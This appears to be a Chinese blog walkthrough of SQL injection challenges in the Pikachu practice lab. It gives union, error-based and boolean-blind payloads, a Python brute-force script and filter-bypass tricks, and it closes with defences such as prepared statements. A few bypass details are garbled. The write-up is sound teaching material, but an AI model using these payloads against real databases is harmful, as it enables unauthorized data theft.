当前位置: 首页 > news >正文

Pikachu靶场SQL注入实战:从基础到高级绕过技巧

1. Pikachu靶场SQL注入实战与解题笔记

第一次接触Pikachu靶场是在去年的一次内部安全培训中,这个以宝可梦命名的漏洞演练平台让我印象深刻。作为Web安全入门必备的实战环境,Pikachu靶场通过精心设计的漏洞场景,帮助学习者理解SQL注入的攻击原理和防御方法。今天我就结合自己通关SQL注入关卡的完整过程,分享从基础注入到高级绕过的手记,特别适合刚接触Web安全的新手参考。

SQL注入(SQL-Inject)作为OWASP Top 10的常驻漏洞,本质是将恶意SQL代码插入到输入参数中,欺骗后端数据库执行非预期命令。在Pikachu靶场中,开发者模拟了不同类型的注入场景,包括GET/POST型注入、报错注入、布尔盲注和时间盲注等。通过这个靶场,不仅能学习攻击手法,更重要的是理解漏洞产生的根本原因,为后续代码审计和漏洞修复打下基础。

2. 环境准备与靶场搭建

2.1 Pikachu靶场部署要点

Pikachu靶场基于PHP+MySQL架构,推荐使用XAMPP或Docker快速部署。我选择在本地Windows环境通过XAMPP搭建:

  1. 从Pikachu官网下载最新release包(当前版本v2.0)
  2. 解压到XAMPP的htdocs目录下
  3. 访问http://localhost/pikachu-master完成初始化安装

注意:MySQL需要配置为5.5以上版本,PHP建议7.x,避免因版本兼容导致功能异常。安装后务必修改config.inc.php中的数据库连接信息。

2.2 靶场目录结构解析

了解靶场目录结构有助于后续漏洞分析:

/pikachu ├── /inc # 公共函数库 ├── /pkxss # XSS漏洞模块 ├── /pikachu # SQL注入模块(核心) │ ├── /sqli # 注入关卡目录 │ │ ├── /1 # 基础注入 │ │ ├── /2 # 报错注入 │ │ └── ... # 其他类型 ├── /install # 安装脚本 └── /README.md # 说明文档

3. SQL注入基础通关详解

3.1 数字型注入(关卡1)

访问/pikachu/sqli/1/,这是一个简单的用户查询页面。通过URL参数id传递查询条件:

SELECT * FROM users WHERE id = $_GET['id']

攻击步骤:

  1. 测试基础注入:1' and '1'='1页面正常返回
  2. 确认注入点:1' and '1'='2页面无数据
  3. 获取字段数:1' order by 4--+测试到order by 3时报错,说明共3列
  4. 联合查询获取数据:-1' union select 1,database(),user()--+

关键技巧:

  • 使用--+替代注释符(兼容URL编码)
  • 联合查询时前段条件置为负值或不存在值(如-1)
  • information_schema库是MySQL的元数据库,存储所有表结构信息

3.2 字符型注入(关卡2)

与数字型不同,字符型注入需要处理引号闭合:

SELECT * FROM users WHERE username = '$_GET['name']'

Payload构造:

admin' and 1=1--+ # 测试注入 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

注意:字符型注入必须闭合前端的引号,否则会导致SQL语法错误。遇到过滤时可尝试编码绕过。

4. 高级注入技巧实战

4.1 报错注入利用

当页面不返回查询数据但显示错误信息时,可利用报错注入:

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

Pikachu靶场中提供了floor报错、updatexml报错等多种场景。关键是要理解:

  • updatexml第二个参数需要符合XPath语法
  • concat函数结合0x7e(~)产生非法字符触发报错
  • extractvalue函数同样可利用

4.2 布尔盲注自动化

当页面只有"存在/不存在"两种状态时,需要逐字符判断:

import requests url = "http://localhost/pikachu/sqli/3/" result = "" for i in range(1,20): for j in range(32,127): payload = f"1' and ascii(substr(database(),{i},1))={j}--+" r = requests.get(url, params={"id":payload}) if "admin" in r.text: result += chr(j) print(result) break

优化技巧:

  • 使用二分查找法减少请求次数
  • 结合正则匹配提高判断准确率
  • 多线程加速爆破过程

5. 防御方案与代码审计

5.1 常见防御措施对比

防御方式原理优缺点
预处理语句SQL与参数分离最有效,需改造代码
输入过滤黑名单/白名单易被绕过
WAF防护规则匹配拦截存在误判
最小权限限制数据库账号权限需合理配置

5.2 Pikachu靶场源码分析

查看/pikachu/inc/function.php中的过滤函数:

function check_sql($str){ $filter = ['select','union','load_file','outfile']; foreach($filter as $v){ if(stripos($str,$v) !== false){ die('Hacker!'); } } return $str; }

这种过滤存在明显缺陷:

  1. 未处理大小写变种(可用SeLeCt绕过)
  2. 未过滤注释符(如-- /*)
  3. 可使用编码绕过(如hex、char)

6. 实战中的疑难问题

6.1 过滤绕过技巧记录

  1. 等价替换and&&or||
  2. 注释变形--+#/*xxx*/
  3. 函数替代substrmidleft/right
  4. 编码混淆0x61646d696e(admin的hex)

6.2 MySQL特性利用

  1. 利用/**/替代空格绕过:union/**/select
  2. 反引号处理关键字:selectse%0alect
  3. 字符串拼接:concat('ad','min')
  4. 利用like进行模糊匹配

7. 拓展学习建议

完成Pikachu靶场后,建议继续挑战:

  • DVWA(Damn Vulnerable Web Application)
  • WebGoat(OWASP官方靶场)
  • SQLi-Labs(专注SQL注入)

对于想深入理解SQL注入原理的同学,推荐阅读《SQL注入攻击与防御》和MySQL官方文档中关于预处理语句的章节。在实际渗透测试中,sqlmap是自动化检测的神器,但手动注入能力仍是安全工程师的基本功。

http://www.jsqmd.com/news/1321409/

相关文章:

  • 苏州科技项目申报公司怎么选? - 资讯在线
  • dd命令创建指定大小测试文件
  • AI设计接单资源包泄露事件:2024上半年Top 50高转化客户关键词库+平台搜索权重词表(仅开放48小时)
  • 雷达三频系统解析:从基频、中频到射频的信号处理全链路
  • 武汉助产学校护理专业招生简章及报名指南 - 湖北找学校
  • Agent 应该聪明到什么程度?
  • 合同AI化转型卡点全拆解:NLP模型泛化差、法律术语冷启动、审计留痕不合规(三重瓶颈破局手册)
  • 接口测试实战指南:从核心思路到自动化集成
  • 2026长沙名包回收认准易奢福,线上线下报价完全一致 - 奢侈品回收实体店
  • 一小时快速上手:基于Codex与DeepSeek构建本地AI智能体开发环境
  • 终极Unity游戏去马赛克指南:6款智能插件完全解析
  • 网络安全职业指南:从入门到精通的六大方向
  • 掌握Agentic RAG:构建智能自适应AI系统,小白程序员必备收藏攻略!
  • A-29P LINE OUT 1.5Vrms输出与后级ADC输入阻抗匹配设计分析
  • Unity AssetBundle资源管理系统:架构设计与生产级实践
  • 性价比高的ai建站服务商推荐,看看有没有你的心选~
  • 2026中山东区房屋防水补漏全攻略:覆盖楼顶 外墙 卫生间全场景漏水维修 - 超人防水
  • 构建优质技术解答的详细讲解方法论
  • PyTorch张量维度操作:squeeze与unsqueeze原理与实战详解
  • Omniverse与UE5实时同步:构建建筑数字孪生可视化工作流
  • 现在不掌握AI编程,半年后将丧失技术话语权:一线大厂2024校招真实考题曝光
  • 学习pytorch框架和YOLO笔记(重要)
  • 2026香港公司银行开户业务靠谱服务商盘点 正规合规选户指南+避坑常见问题FAQ大全 - 行业观察网
  • 飞秒激光与材料相互作用:双温模型在COMSOL中的实现
  • DXVK显存管理深度优化:解决游戏VRAM泄漏问题的3级实战方案
  • 老主板BIOS魔改实战:为华硕B85M-V PLUS添加NVMe启动支持
  • 2026做ai网站选哪家好,零基础也能快速上手吗?
  • 义乌家庭教育咨询优选机构:深耕本土多年,专注家庭矛盾调解与亲子关系疏导 - 品牌品鉴馆
  • d3d8to9终极指南:让Direct3D 8经典游戏在现代Windows系统上完美运行
  • 实用指南:如何在3分钟内高效将网页内容转为Markdown笔记?